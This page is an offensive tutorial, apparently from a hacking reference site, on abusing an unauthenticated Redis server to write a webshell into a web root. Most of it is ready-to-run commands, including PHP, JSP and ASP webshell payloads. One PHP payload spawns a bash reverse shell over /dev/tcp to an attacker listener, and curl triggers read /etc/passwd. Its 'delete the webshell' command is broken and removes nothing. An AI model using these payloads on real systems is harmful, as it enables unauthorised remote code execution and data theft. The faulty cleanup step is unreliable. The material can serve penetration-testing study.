Skip to content
HackIndex logo

HackIndex

Redis Webshell Write – Planting a Shell via File Write

3 min read Mar 14, 2026

When Redis runs on a host that also serves a web application, you can redirect the Redis DB save path to the web root and write a webshell. The Redis RDB file format adds garbage bytes around your payload, but PHP, JSP, and other interpreters parse and execute only valid code — the garbage is ignored. A single PHP tag embedded in an otherwise corrupt file is enough.

Prerequisites Check

1 – CONFIG access:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir

Must return a path.

2 – A web server is running on the target:

┌──(kali㉿kali)-[~]
└─$ nmap -p 80,443,8080,8443 $TARGET_IP

Confirm HTTP/HTTPS ports are open.

3 – You know or can guess the web root path:

Common web roots to try:

/var/www/html
/var/www
/usr/share/nginx/html
/srv/www/htdocs
/opt/lampp/htdocs
/var/www/html/wordpress
/var/www/html/uploads

Test each:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/www/html
OK

OK confirms Redis can write there.

4 – The web server interprets the file type you write: Know whether the target runs PHP, JSP, ASP, or another interpreted language. Match the webshell format to the server.

Step 1 – Record Original Config

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dir
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config get dbfilename

Step 2 – Write the Webshell Payload

Flush existing data to minimise file corruption:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall

Shells:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set shell "<?php system(\$_GET['cmd']); ?>"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set shell "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1\"'); ?>"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set shell "<% Runtime.getRuntime().exec(request.getParameter(\"cmd\")); %>"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set shell "<% eval request(\"cmd\") %>"

Step 3 – Save to Web Root

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/www/html
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename shell.php
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Confirm the save completed:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 lastsave

Step 4 – Trigger the Webshell

For the command parameter webshell:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=id"
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=whoami"
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=cat+/etc/passwd"

The output will contain Redis RDB garbage around it — look for your command output embedded in the response.

For a reverse shell, start your listener first:

┌──(kali㉿kali)-[~]
└─$ nc -lvnp $LPORT
┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php"

Or trigger a bash reverse shell via the command parameter:

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"

Step 5 – If the Webshell Returns Garbage Only

The RDB header and footer corrupt small payloads. Try a larger PHP comment padding to push the valid PHP code away from the binary garbage:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set shell $'\n\n<?php system($_GET["cmd"]); ?>\n\n'

Or empty the DB first, set only the shell key, and save immediately before any other writes corrupt the file:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 set shell "<?php system(\$_GET['cmd']); ?>"
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Step 6 – Restore Original Config

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 flushall
┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 bgsave

Delete the webshell:

┌──(kali㉿kali)-[~]
└─$ redis-cli -h $TARGET_IP -p 6379 eval "return redis.call('config','set','dir','/var/www/html')" 0

Or from a shell on the target:

┌──(kali㉿kali)-[~]
└─$ rm /var/www/html/shell.php

References